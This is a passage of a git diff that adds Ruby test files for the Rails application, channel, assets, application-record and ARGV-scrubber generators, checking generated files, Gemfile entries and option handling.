+    app_moved_root = File.join(destination_root, "myapp_moved")
+
+    run_generator [app_root]
+
+    stub_rails_application(app_moved_root) do
+      Rails.application.stub(:is_a?, -> *args { Rails::Application }) do
+        FileUtils.mv(app_root, app_moved_root)
+
+        # make sure we are in correct dir
+        FileUtils.cd(app_moved_root)
+
+        generator = Rails::Generators::AppGenerator.new ["rails"], [],
+                                                                   destination_root: app_moved_root, shell: @shell
+        generator.send(:app_const)
+        quietly { generator.send(:update_config_files) }
+        assert_file "myapp_moved/config/environment.rb", /Rails\.application\.initialize!/
+      end
+    end
+  end
+
+  def test_app_update_generates_correct_session_key
+    app_root = File.join(destination_root, "myapp")
+    run_generator [app_root]
+
+    stub_rails_application(app_root) do
+      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
+      generator.send(:app_const)
+      quietly { generator.send(:update_config_files) }
+    end
+  end
+
+  def test_new_application_use_json_serialzier
+    run_generator
+
+    assert_file("config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+  end
+
+  def test_new_application_not_include_api_initializers
+    run_generator
+
+    assert_no_file "config/initializers/cors.rb"
+  end
+
+  def test_new_application_doesnt_need_defaults
+    assert_no_file "config/initializers/new_framework_defaults_5_2.rb"
+  end
+
+  def test_new_application_load_defaults
+    app_root = File.join(destination_root, "myfirstapp")
+    run_generator [app_root]
+    output = nil
+
+    Dir.chdir(app_root) do
+      output = `./bin/rails r "puts Rails.application.config.assets.unknown_asset_fallback"`
+    end
+
+    assert_equal "false\n", output
+  end
+
+  def test_app_update_keep_the_cookie_serializer_if_it_is_already_configured
+    app_root = File.join(destination_root, "myapp")
+    run_generator [app_root]
+
+    stub_rails_application(app_root) do
+      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
+      generator.send(:app_const)
+      quietly { generator.send(:update_config_files) }
+      assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+    end
+  end
+
+  def test_app_update_set_the_cookie_serializer_to_marshal_if_it_is_not_already_configured
+    app_root = File.join(destination_root, "myapp")
+    run_generator [app_root]
+
+    FileUtils.rm("#{app_root}/config/initializers/cookies_serializer.rb")
+
+    stub_rails_application(app_root) do
+      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
+      generator.send(:app_const)
+      quietly { generator.send(:update_config_files) }
+      assert_file("#{app_root}/config/initializers/cookies_serializer.rb",
+                  /Valid options are :json, :marshal, and :hybrid\.\nRails\.application\.config\.action_dispatch\.cookies_serializer = :marshal/)
+    end
+  end
+
+  def test_app_update_create_new_framework_defaults
+    app_root = File.join(destination_root, "myapp")
+    run_generator [app_root]
+
+    assert_no_file "#{app_root}/config/initializers/new_framework_defaults_5_2.rb"
+
+    stub_rails_application(app_root) do
+      generator = Rails::Generators::AppGenerator.new ["rails"], { update: true }, destination_root: app_root, shell: @shell
+      generator.send(:app_const)
+      quietly { generator.send(:update_config_files) }
+
+      assert_file "#{app_root}/config/initializers/new_framework_defaults_5_2.rb"
+    end
+  end
+
+  def test_app_update_does_not_create_rack_cors
+    app_root = File.join(destination_root, "myapp")
+    run_generator [app_root]
+
+    stub_rails_application(app_root) do
+      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
+      generator.send(:app_const)
+      quietly { generator.send(:update_config_files) }
+      assert_no_file "#{app_root}/config/initializers/cors.rb"
+    end
+  end
+
+  def test_app_update_does_not_remove_rack_cors_if_already_present
+    app_root = File.join(destination_root, "myapp")
+    run_generator [app_root]
+
+    FileUtils.touch("#{app_root}/config/initializers/cors.rb")
+
+    stub_rails_application(app_root) do
+      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
+      generator.send(:app_const)
+      quietly { generator.send(:update_config_files) }
+      assert_file "#{app_root}/config/initializers/cors.rb"
+    end
+  end
+
+  def test_app_update_does_not_generate_action_cable_contents_when_skip_action_cable_is_given
+    app_root = File.join(destination_root, "myapp")
+    run_generator [app_root, "--skip-action-cable"]
+
+    FileUtils.cd(app_root) do
+      # For avoid conflict file
+      FileUtils.rm("#{app_root}/config/secrets.yml")
+      quietly { system("bin/rails app:update") }
+    end
+
+    assert_no_file "#{app_root}/config/cable.yml"
+    assert_file "#{app_root}/config/environments/production.rb" do |content|
+      assert_no_match(/config\.action_cable/, content)
+    end
+  end
+
+  def test_application_names_are_not_singularized
+    run_generator [File.join(destination_root, "hats")]
+    assert_file "hats/config/environment.rb", /Rails\.application\.initialize!/
+  end
+
+  def test_gemfile_has_no_whitespace_errors
+    run_generator
+    absolute = File.expand_path("Gemfile", destination_root)
+    File.open(absolute, "r") do |f|
+      f.each_line do |line|
+        assert_no_match %r{/^[ \t]+$/}, line
+      end
+    end
+  end
+
+  def test_config_database_is_added_by_default
+    run_generator
+    assert_file "config/database.yml", /sqlite3/
+    if defined?(JRUBY_VERSION)
+      assert_gem "activerecord-jdbcsqlite3-adapter"
+    else
+      assert_gem "sqlite3"
+    end
+  end
+
+  def test_config_another_database
+    run_generator([destination_root, "-d", "mysql"])
+    assert_file "config/database.yml", /mysql/
+    if defined?(JRUBY_VERSION)
+      assert_gem "activerecord-jdbcmysql-adapter"
+    else
+      assert_gem "mysql2", "'>= 0.3.18', '< 0.5'"
+    end
+  end
+
+  def test_config_database_app_name_with_period
+    run_generator [File.join(destination_root, "common.usage.com"), "-d", "postgresql"]
+    assert_file "common.usage.com/config/database.yml", /common_usage_com/
+  end
+
+  def test_config_postgresql_database
+    run_generator([destination_root, "-d", "postgresql"])
+    assert_file "config/database.yml", /postgresql/
+    if defined?(JRUBY_VERSION)
+      assert_gem "activerecord-jdbcpostgresql-adapter"
+    else
+      assert_gem "pg", "'~> 0.18'"
+    end
+  end
+
+  def test_config_jdbcmysql_database
+    run_generator([destination_root, "-d", "jdbcmysql"])
+    assert_file "config/database.yml", /mysql/
+    assert_gem "activerecord-jdbcmysql-adapter"
+  end
+
+  def test_config_jdbcsqlite3_database
+    run_generator([destination_root, "-d", "jdbcsqlite3"])
+    assert_file "config/database.yml", /sqlite3/
+    assert_gem "activerecord-jdbcsqlite3-adapter"
+  end
+
+  def test_config_jdbcpostgresql_database
+    run_generator([destination_root, "-d", "jdbcpostgresql"])
+    assert_file "config/database.yml", /postgresql/
+    assert_gem "activerecord-jdbcpostgresql-adapter"
+  end
+
+  def test_config_jdbc_database
+    run_generator([destination_root, "-d", "jdbc"])
+    assert_file "config/database.yml", /jdbc/
+    assert_file "config/database.yml", /mssql/
+    assert_gem "activerecord-jdbc-adapter"
+  end
+
+  if defined?(JRUBY_VERSION)
+    def test_config_jdbc_database_when_no_option_given
+      run_generator
+      assert_file "config/database.yml", /sqlite3/
+      assert_gem "activerecord-jdbcsqlite3-adapter"
+    end
+  end
+
+  def test_generator_without_skips
+    run_generator
+    assert_file "config/application.rb", /\s+require\s+["']rails\/all["']/
+    assert_file "config/environments/development.rb" do |content|
+      assert_match(/config\.action_mailer\.raise_delivery_errors = false/, content)
+    end
+    assert_file "config/environments/test.rb" do |content|
+      assert_match(/config\.action_mailer\.delivery_method = :test/, content)
+    end
+    assert_file "config/environments/production.rb" do |content|
+      assert_match(/# config\.action_mailer\.raise_delivery_errors = false/, content)
+      assert_match(/^  config\.read_encrypted_secrets = true/, content)
+    end
+  end
+
+  def test_generator_defaults_to_puma_version
+    run_generator [destination_root]
+    assert_gem "puma", "'~> 3.7'"
+  end
+
+  def test_generator_if_skip_puma_is_given
+    run_generator [destination_root, "--skip-puma"]
+    assert_no_file "config/puma.rb"
+    assert_file "Gemfile" do |content|
+      assert_no_match(/puma/, content)
+    end
+  end
+
+  def test_generator_if_skip_active_record_is_given
+    run_generator [destination_root, "--skip-active-record"]
+    assert_no_directory "db/"
+    assert_no_file "config/database.yml"
+    assert_no_file "app/models/application_record.rb"
+    assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+    assert_file "test/test_helper.rb" do |helper_content|
+      assert_no_match(/fixtures :all/, helper_content)
+    end
+    assert_file "bin/setup" do |setup_content|
+      assert_no_match(/db:setup/, setup_content)
+    end
+    assert_file "bin/update" do |update_content|
+      assert_no_match(/db:migrate/, update_content)
+    end
+  end
+
+  def test_generator_if_skip_action_mailer_is_given
+    run_generator [destination_root, "--skip-action-mailer"]
+    assert_file "config/application.rb", /#\s+require\s+["']action_mailer\/railtie["']/
+    assert_file "config/environments/development.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "config/environments/test.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_no_directory "app/mailers"
+    assert_no_directory "test/mailers"
+  end
+
+  def test_generator_has_assets_gems
+    run_generator
+
+    assert_gem "sass-rails"
+    assert_gem "uglifier"
+  end
+
+  def test_generator_if_skip_sprockets_is_given
+    run_generator [destination_root, "--skip-sprockets"]
+    assert_no_file "config/initializers/assets.rb"
+    assert_file "config/application.rb" do |content|
+      assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
+    end
+    assert_file "Gemfile" do |content|
+      assert_no_match(/sass-rails/, content)
+      assert_no_match(/uglifier/, content)
+      assert_no_match(/coffee-rails/, content)
+    end
+    assert_file "config/environments/development.rb" do |content|
+      assert_no_match(/config\.assets\.debug = true/, content)
+    end
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.assets\.digest = true/, content)
+      assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
+      assert_no_match(/config\.assets\.css_compressor = :sass/, content)
+    end
+  end
+
+  def test_generator_if_skip_action_cable_is_given
+    run_generator [destination_root, "--skip-action-cable"]
+    assert_file "config/application.rb", /#\s+require\s+["']action_cable\/engine["']/
+    assert_no_file "config/cable.yml"
+    assert_no_file "app/assets/javascripts/cable.js"
+    assert_no_file "app/channels"
+    assert_file "Gemfile" do |content|
+      assert_no_match(/redis/, content)
+    end
+  end
+
+  def test_action_cable_redis_gems
+    run_generator
+    assert_file "Gemfile", /^# gem 'redis'/
+  end
+
+  def test_generator_if_skip_test_is_given
+    run_generator [destination_root, "--skip-test"]
+    assert_file "Gemfile" do |content|
+      assert_no_match(/capybara/, content)
+      assert_no_match(/selenium-webdriver/, content)
+    end
+  end
+
+  def test_generator_if_skip_system_test_is_given
+    run_generator [destination_root, "--skip-system-test"]
+    assert_file "Gemfile" do |content|
+      assert_no_match(/capybara/, content)
+      assert_no_match(/selenium-webdriver/, content)
+    end
+  end
+
+  def test_does_not_generate_system_test_files_if_skip_system_test_is_given
+    run_generator [destination_root, "--skip-system-test"]
+
+    Dir.chdir(destination_root) do
+      quietly { `./bin/rails g scaffold User` }
+
+      assert_no_file("test/application_system_test_case.rb")
+      assert_no_file("test/system/users_test.rb")
+    end
+  end
+
+  def test_generator_if_api_is_given
+    run_generator [destination_root, "--api"]
+    assert_file "Gemfile" do |content|
+      assert_no_match(/capybara/, content)
+      assert_no_match(/selenium-webdriver/, content)
+    end
+  end
+
+  def test_inclusion_of_javascript_runtime
+    run_generator
+    if defined?(JRUBY_VERSION)
+      assert_gem "therubyrhino"
+    else
+      assert_file "Gemfile", /# gem 'mini_racer', platforms: :ruby/
+    end
+  end
+
+  def test_rails_ujs_is_the_default_ujs_library
+    run_generator
+    assert_file "app/assets/javascripts/application.js" do |contents|
+      assert_match %r{^//= require rails-ujs}, contents
+    end
+  end
+
+  def test_javascript_is_skipped_if_required
+    run_generator [destination_root, "--skip-javascript"]
+
+    assert_no_file "app/assets/javascripts"
+
+    assert_file "app/views/layouts/application.html.erb" do |contents|
+      assert_match(/stylesheet_link_tag\s+'application', media: 'all' %>/, contents)
+      assert_no_match(/javascript_include_tag\s+'application' \%>/, contents)
+    end
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/coffee-rails/, content)
+      assert_no_match(/uglifier/, content)
+    end
+
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
+    end
+  end
+
+  def test_coffeescript_is_skipped_if_required
+    run_generator [destination_root, "--skip-coffee"]
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/coffee-rails/, content)
+      assert_match(/uglifier/, content)
+    end
+  end
+
+  def test_generator_for_yarn
+    run_generator([destination_root])
+    assert_file "package.json", /dependencies/
+    assert_file "config/initializers/assets.rb", /node_modules/
+  end
+
+  def test_generator_for_yarn_skipped
+    run_generator([destination_root, "--skip-yarn"])
+    assert_no_file "package.json"
+    assert_no_file "bin/yarn"
+
+    assert_file "config/initializers/assets.rb" do |content|
+      assert_no_match(/node_modules/, content)
+    end
+
+    assert_file ".gitignore" do |content|
+      assert_no_match(/node_modules/, content)
+      assert_no_match(/yarn-error\.log/, content)
+    end
+  end
+
+  def test_inclusion_of_jbuilder
+    run_generator
+    assert_gem "jbuilder"
+  end
+
+  def test_inclusion_of_a_debugger
+    run_generator
+    if defined?(JRUBY_VERSION) || RUBY_ENGINE == "rbx"
+      assert_file "Gemfile" do |content|
+        assert_no_match(/byebug/, content)
+      end
+    else
+      assert_gem "byebug"
+    end
+  end
+
+  def test_inclusion_of_listen_related_configuration_by_default
+    run_generator
+    if RbConfig::CONFIG["host_os"] =~ /darwin|linux/
+      assert_listen_related_configuration
+    else
+      assert_no_listen_related_configuration
+    end
+  end
+
+  def test_non_inclusion_of_listen_related_configuration_if_skip_listen
+    run_generator [destination_root, "--skip-listen"]
+    assert_no_listen_related_configuration
+  end
+
+  def test_evented_file_update_checker_config
+    run_generator
+    assert_file "config/environments/development.rb" do |content|
+      if RbConfig::CONFIG["host_os"] =~ /darwin|linux/
+        assert_match(/^\s*config\.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content)
+      else
+        assert_match(/^\s*# config\.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content)
+      end
+    end
+  end
+
+  def test_template_from_dir_pwd
+    FileUtils.cd(Rails.root)
+    assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
+  end
+
+  def test_usage_read_from_file
+    assert_called(File, :read, returns: "USAGE FROM FILE") do
+      assert_equal "USAGE FROM FILE", Rails::Generators::AppGenerator.desc
+    end
+  end
+
+  def test_default_usage
+    assert_called(Rails::Generators::AppGenerator, :usage_path, returns: nil) do
+      assert_match(/Create rails files for app generator/, Rails::Generators::AppGenerator.desc)
+    end
+  end
+
+  def test_default_namespace
+    assert_match "rails:app", Rails::Generators::AppGenerator.namespace
+  end
+
+  def test_file_is_added_for_backwards_compatibility
+    action :file, "lib/test_file.rb", "heres test data"
+    assert_file "lib/test_file.rb", "heres test data"
+  end
+
+  def test_tests_are_removed_from_frameworks_if_skip_test_is_given
+    run_generator [destination_root, "--skip-test"]
+    assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
+  end
+
+  def test_no_active_record_or_tests_if_skips_given
+    run_generator [destination_root, "--skip-test", "--skip-active-record"]
+    assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
+    assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+    assert_file "config/application.rb", /\s+require\s+["']active_job\/railtie["']/
+  end
+
+  def test_pretend_option
+    output = run_generator [File.join(destination_root, "myapp"), "--pretend"]
+    assert_no_match(/run  bundle install/, output)
+    assert_no_match(/run  git init/, output)
+  end
+
+  def test_application_name_with_spaces
+    path = File.join(destination_root, "foo bar")
+
+    # This also applies to MySQL apps but not with SQLite
+    run_generator [path, "-d", "postgresql"]
+
+    assert_file "foo bar/config/database.yml", /database: foo_bar_development/
+  end
+
+  def test_web_console
+    run_generator
+    assert_gem "web-console"
+  end
+
+  def test_web_console_with_dev_option
+    run_generator [destination_root, "--dev"]
+
+    assert_file "Gemfile" do |content|
+      assert_match(/gem 'web-console',\s+github: 'rails\/web-console'/, content)
+      assert_no_match(/\Agem 'web-console', '>= 3\.3\.0'\z/, content)
+    end
+  end
+
+  def test_web_console_with_edge_option
+    run_generator [destination_root, "--edge"]
+
+    assert_file "Gemfile" do |content|
+      assert_match(/gem 'web-console',\s+github: 'rails\/web-console'/, content)
+      assert_no_match(/\Agem 'web-console', '>= 3\.3\.0'\z/, content)
+    end
+  end
+
+  def test_generation_runs_bundle_install
+    assert_generates_with_bundler
+  end
+
+  def test_dev_option
+    assert_generates_with_bundler dev: true
+    rails_path = File.expand_path("../../..", Rails.root)
+    assert_file "Gemfile", /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
+  end
+
+  def test_edge_option
+    assert_generates_with_bundler edge: true
+    assert_file "Gemfile", %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
+  end
+
+  def test_spring
+    run_generator
+    assert_gem "spring"
+  end
+
+  def test_spring_binstubs
+    jruby_skip "spring doesn't run on JRuby"
+    command_check = -> command do
+      @binstub_called ||= 0
+
+      case command
+      when "install"
+        # Called when running bundle, we just want to stub it so nothing to do here.
+      when "exec spring binstub --all"
+        @binstub_called += 1
+        assert_equal 1, @binstub_called, "exec spring binstub --all expected to be called once, but was called #{@install_called} times."
+      end
+    end
+
+    generator.stub :bundle_command, command_check do
+      quietly { generator.invoke_all }
+    end
+  end
+
+  def test_spring_no_fork
+    jruby_skip "spring doesn't run on JRuby"
+    assert_called_with(Process, :respond_to?, [[:fork], [:fork]], returns: false) do
+      run_generator
+
+      assert_file "Gemfile" do |content|
+        assert_no_match(/spring/, content)
+      end
+    end
+  end
+
+  def test_skip_spring
+    run_generator [destination_root, "--skip-spring"]
+
+    assert_no_file "config/spring.rb"
+    assert_file "Gemfile" do |content|
+      assert_no_match(/spring/, content)
+    end
+  end
+
+  def test_spring_with_dev_option
+    run_generator [destination_root, "--dev"]
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/spring/, content)
+    end
+  end
+
+  def test_generator_if_skip_turbolinks_is_given
+    run_generator [destination_root, "--skip-turbolinks"]
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/turbolinks/, content)
+    end
+    assert_file "app/views/layouts/application.html.erb" do |content|
+      assert_no_match(/data-turbolinks-track/, content)
+    end
+    assert_file "app/assets/javascripts/application.js" do |content|
+      assert_no_match(/turbolinks/, content)
+    end
+  end
+
+  def test_gitignore_when_sqlite3
+    run_generator
+
+    assert_file ".gitignore" do |content|
+      assert_match(/sqlite3/, content)
+    end
+  end
+
+  def test_gitignore_when_no_active_record
+    run_generator [destination_root, "--skip-active-record"]
+
+    assert_file ".gitignore" do |content|
+      assert_no_match(/sqlite/i, content)
+    end
+  end
+
+  def test_gitignore_when_non_sqlite3_db
+    run_generator([destination_root, "-d", "mysql"])
+
+    assert_file ".gitignore" do |content|
+      assert_no_match(/sqlite/i, content)
+    end
+  end
+
+  def test_inclusion_of_ruby_version
+    run_generator
+
+    assert_file "Gemfile" do |content|
+      assert_match(/ruby '#{RUBY_VERSION}'/, content)
+    end
+    assert_file ".ruby-version" do |content|
+      assert_match(/#{RUBY_VERSION}/, content)
+    end
+  end
+
+  def test_version_control_initializes_git_repo
+    run_generator [destination_root]
+    assert_directory ".git"
+  end
+
+  def test_create_keeps
+    run_generator
+    folders_with_keep = %w(
+      app/assets/images
+      app/controllers/concerns
+      app/models/concerns
+      lib/tasks
+      lib/assets
+      log
+      test/fixtures
+      test/fixtures/files
+      test/controllers
+      test/mailers
+      test/models
+      test/helpers
+      test/integration
+      tmp
+    )
+    folders_with_keep.each do |folder|
+      assert_file("#{folder}/.keep")
+    end
+  end
+
+  def test_psych_gem
+    run_generator
+    gem_regex = /gem 'psych',\s+'~> 2\.0',\s+platforms: :rbx/
+
+    assert_file "Gemfile" do |content|
+      if defined?(Rubinius)
+        assert_match(gem_regex, content)
+      else
+        assert_no_match(gem_regex, content)
+      end
+    end
+  end
+
+  def test_after_bundle_callback
+    path = "http://example.org/rails_template"
+    template = %{ after_bundle { run 'echo ran after_bundle' } }
+    template.instance_eval "def read; self; end" # Make the string respond to read
+
+    check_open = -> *args do
+      assert_equal [ path, "Accept" => "application/x-thor-template" ], args
+      template
+    end
+
+    sequence = ["git init", "install", "exec spring binstub --all", "echo ran after_bundle"]
+    @sequence_step ||= 0
+    ensure_bundler_first = -> command do
+      assert_equal sequence[@sequence_step], command, "commands should be called in sequence #{sequence}"
+      @sequence_step += 1
+    end
+
+    generator([destination_root], template: path).stub(:open, check_open, template) do
+      generator.stub(:bundle_command, ensure_bundler_first) do
+        generator.stub(:run, ensure_bundler_first) do
+          quietly { generator.invoke_all }
+        end
+      end
+    end
+
+    assert_equal 4, @sequence_step
+  end
+
+  def test_system_tests_directory_generated
+    run_generator
+
+    assert_file("test/system/.keep")
+    assert_directory("test/system")
+  end
+
+  def test_system_tests_are_not_generated_on_system_test_skip
+    run_generator [destination_root, "--skip-system-test"]
+
+    assert_no_directory("test/system")
+  end
+
+  def test_system_tests_are_not_generated_on_test_skip
+    run_generator [destination_root, "--skip-test"]
+
+    assert_no_directory("test/system")
+  end
+
+  private
+    def stub_rails_application(root)
+      Rails.application.config.root = root
+      Rails.application.class.stub(:name, "Myapp") do
+        yield
+      end
+    end
+
+    def action(*args, &block)
+      capture(:stdout) { generator.send(*args, &block) }
+    end
+
+    def assert_gem(gem, constraint = nil)
+      if constraint
+        assert_file "Gemfile", /^\s*gem\s+["']#{gem}["'], #{constraint}$*/
+      else
+        assert_file "Gemfile", /^\s*gem\s+["']#{gem}["']$*/
+      end
+    end
+
+    def assert_listen_related_configuration
+      assert_gem "listen"
+      assert_gem "spring-watcher-listen"
+
+      assert_file "config/environments/development.rb" do |content|
+        assert_match(/^\s*config\.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content)
+      end
+    end
+
+    def assert_no_listen_related_configuration
+      assert_file "Gemfile" do |content|
+        assert_no_match(/listen/, content)
+      end
+
+      assert_file "config/environments/development.rb" do |content|
+        assert_match(/^\s*# config\.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content)
+      end
+    end
+
+    def assert_generates_with_bundler(options = {})
+      generator([destination_root], options)
+
+      command_check = -> command do
+        @install_called ||= 0
+
+        case command
+        when "install"
+          @install_called += 1
+          assert_equal 1, @install_called, "install expected to be called once, but was called #{@install_called} times"
+        when "exec spring binstub --all"
+          # Called when running tests with spring, let through unscathed.
+        end
+      end
+
+      generator.stub :bundle_command, command_check do
+        quietly { generator.invoke_all }
+      end
+    end
+end
diff --git a/railties/test/generators/application_record_generator_test.rb b/railties/test/generators/application_record_generator_test.rb
new file mode 100644
index 0000000000..b734d786c0
--- /dev/null
+++ b/railties/test/generators/application_record_generator_test.rb
@@ -0,0 +1,14 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/application_record/application_record_generator"
+
+class ApplicationRecordGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def test_application_record_skeleton_is_created
+    run_generator
+    assert_file "app/models/application_record.rb" do |record|
+      assert_match(/class ApplicationRecord < ActiveRecord::Base/, record)
+      assert_match(/self\.abstract_class = true/, record)
+    end
+  end
+end
diff --git a/railties/test/generators/argv_scrubber_test.rb b/railties/test/generators/argv_scrubber_test.rb
new file mode 100644
index 0000000000..7f4295a20f
--- /dev/null
+++ b/railties/test/generators/argv_scrubber_test.rb
@@ -0,0 +1,136 @@
+require "active_support/test_case"
+require "active_support/testing/autorun"
+require "rails/generators/rails/app/app_generator"
+require "tempfile"
+
+module Rails
+  module Generators
+    class ARGVScrubberTest < ActiveSupport::TestCase # :nodoc:
+      # Future people who read this... These tests are just to surround the
+      # current behavior of the ARGVScrubber, they do not mean that the class
+      # *must* act this way, I just want to prevent regressions.
+
+      def test_version
+        ["-v", "--version"].each do |str|
+          scrubber = ARGVScrubber.new [str]
+          output    = nil
+          exit_code = nil
+          scrubber.extend(Module.new {
+            define_method(:puts) { |string| output = string }
+            define_method(:exit) { |code| exit_code = code }
+          })
+          scrubber.prepare!
+          assert_equal "Rails #{Rails::VERSION::STRING}", output
+          assert_equal 0, exit_code
+        end
+      end
+
+      def test_default_help
+        argv = ["zomg", "how", "are", "you"]
+        scrubber = ARGVScrubber.new argv
+        args = scrubber.prepare!
+        assert_equal ["--help"] + argv.drop(1), args
+      end
+
+      def test_prepare_returns_args
+        scrubber = ARGVScrubber.new ["hi mom"]
+        args = scrubber.prepare!
+        assert_equal "--help", args.first
+      end
+
+      def test_no_mutations
+        scrubber = ARGVScrubber.new ["hi mom"].freeze
+        args = scrubber.prepare!
+        assert_equal "--help", args.first
+      end
+
+      def test_new_command_no_rc
+        scrubber = Class.new(ARGVScrubber) {
+          def self.default_rc_file
+            File.join(Dir.tmpdir, "whatever")
+          end
+        }.new ["new"]
+        args = scrubber.prepare!
+        assert_equal [], args
+      end
+
+      def test_new_homedir_rc
+        file = Tempfile.new "myrcfile"
+        file.puts "--hello-world"
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_singleton_method(:default_rc_file) do
+            file.path
+          end
+          define_method(:puts) { |msg| message = msg }
+        }.new ["new"]
+        args = scrubber.prepare!
+        assert_equal ["--hello-world"], args
+        assert_match "hello-world", message
+        assert_match file.path, message
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_rc_whitespace_separated
+        file = Tempfile.new "myrcfile"
+        file.puts "--hello --world"
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| message = msg }
+        }.new ["new", "--rc=#{file.path}"]
+        args = scrubber.prepare!
+        assert_equal ["--hello", "--world"], args
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_new_rc_option
+        file = Tempfile.new "myrcfile"
+        file.puts "--hello-world"
+        file.flush
+
+        message = nil
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| message = msg }
+        }.new ["new", "--rc=#{file.path}"]
+        args = scrubber.prepare!
+        assert_equal ["--hello-world"], args
+        assert_match "hello-world", message
+        assert_match file.path, message
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_new_rc_option_and_custom_options
+        file = Tempfile.new "myrcfile"
+        file.puts "--hello"
+        file.puts "--world"
+        file.flush
+
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| }
+        }.new ["new", "tenderapp", "--love", "--rc=#{file.path}"]
+
+        args = scrubber.prepare!
+        assert_equal ["tenderapp", "--hello", "--world", "--love"], args
+      ensure
+        file.close
+        file.unlink
+      end
+
+      def test_no_rc
+        scrubber = ARGVScrubber.new ["new", "--no-rc"]
+        args = scrubber.prepare!
+        assert_equal [], args
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb
new file mode 100644
index 0000000000..1c02c67e42
--- /dev/null
+++ b/railties/test/generators/assets_generator_test.rb
@@ -0,0 +1,19 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/assets/assets_generator"
+
+class AssetsGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(posts)
+
+  def test_assets
+    run_generator
+    assert_file "app/assets/javascripts/posts.js"
+    assert_file "app/assets/stylesheets/posts.css"
+  end
+
+  def test_skipping_assets
+    run_generator ["posts", "--no-stylesheets", "--no-javascripts"]
+    assert_no_file "app/assets/javascripts/posts.js"
+    assert_no_file "app/assets/stylesheets/posts.css"
+  end
+end
diff --git a/railties/test/generators/channel_generator_test.rb b/railties/test/generators/channel_generator_test.rb
new file mode 100644
index 0000000000..af68a9c49f
--- /dev/null
+++ b/railties/test/generators/channel_generator_test.rb
@@ -0,0 +1,77 @@
+require "generators/generators_test_helper"
+require "rails/generators/channel/channel_generator"
+
+class ChannelGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  tests Rails::Generators::ChannelGenerator
+
+  def test_application_cable_skeleton_is_created
+    run_generator ["books"]
+
+    assert_file "app/channels/application_cable/channel.rb" do |cable|
+      assert_match(/module ApplicationCable\n  class Channel < ActionCable::Channel::Base\n/, cable)
+    end
+
+    assert_file "app/channels/application_cable/connection.rb" do |cable|
+      assert_match(/module ApplicationCable\n  class Connection < ActionCable::Connection::Base\n/, cable)
+    end
+  end
+
+  def test_channel_is_created
+    run_generator ["chat"]
+
+    assert_file "app/channels/chat_channel.rb" do |channel|
+      assert_match(/class ChatChannel < ApplicationCable::Channel/, channel)
+    end
+
+    assert_file "app/assets/javascripts/channels/chat.js" do |channel|
+      assert_match(/App\.chat = App\.cable\.subscriptions\.create\("ChatChannel/, channel)
+    end
+  end
+
+  def test_channel_with_multiple_actions_is_created
+    run_generator ["chat", "speak", "mute"]
+
+    assert_file "app/channels/chat_channel.rb" do |channel|
+      assert_match(/class ChatChannel < ApplicationCable::Channel/, channel)
+      assert_match(/def speak/, channel)
+      assert_match(/def mute/, channel)
+    end
+
+    assert_file "app/assets/javascripts/channels/chat.js" do |channel|
+      assert_match(/App\.chat = App\.cable\.subscriptions\.create\("ChatChannel/, channel)
+      assert_match(/,\n\n  speak/, channel)
+      assert_match(/,\n\n  mute: function\(\) \{\n    return this\.perform\('mute'\);\n  \}\n\}\);/, channel)
+    end
+  end
+
+  def test_channel_asset_is_not_created_when_skip_assets_is_passed
+    run_generator ["chat", "--skip-assets"]
+
+    assert_file "app/channels/chat_channel.rb" do |channel|
+      assert_match(/class ChatChannel < ApplicationCable::Channel/, channel)
+    end
+
+    assert_no_file "app/assets/javascripts/channels/chat.js"
+  end
+
+  def test_cable_js_is_created_if_not_present_already
+    run_generator ["chat"]
+    FileUtils.rm("#{destination_root}/app/assets/javascripts/cable.js")
+    run_generator ["camp"]
+
+    assert_file "app/assets/javascripts/cable.js"
+  end
+
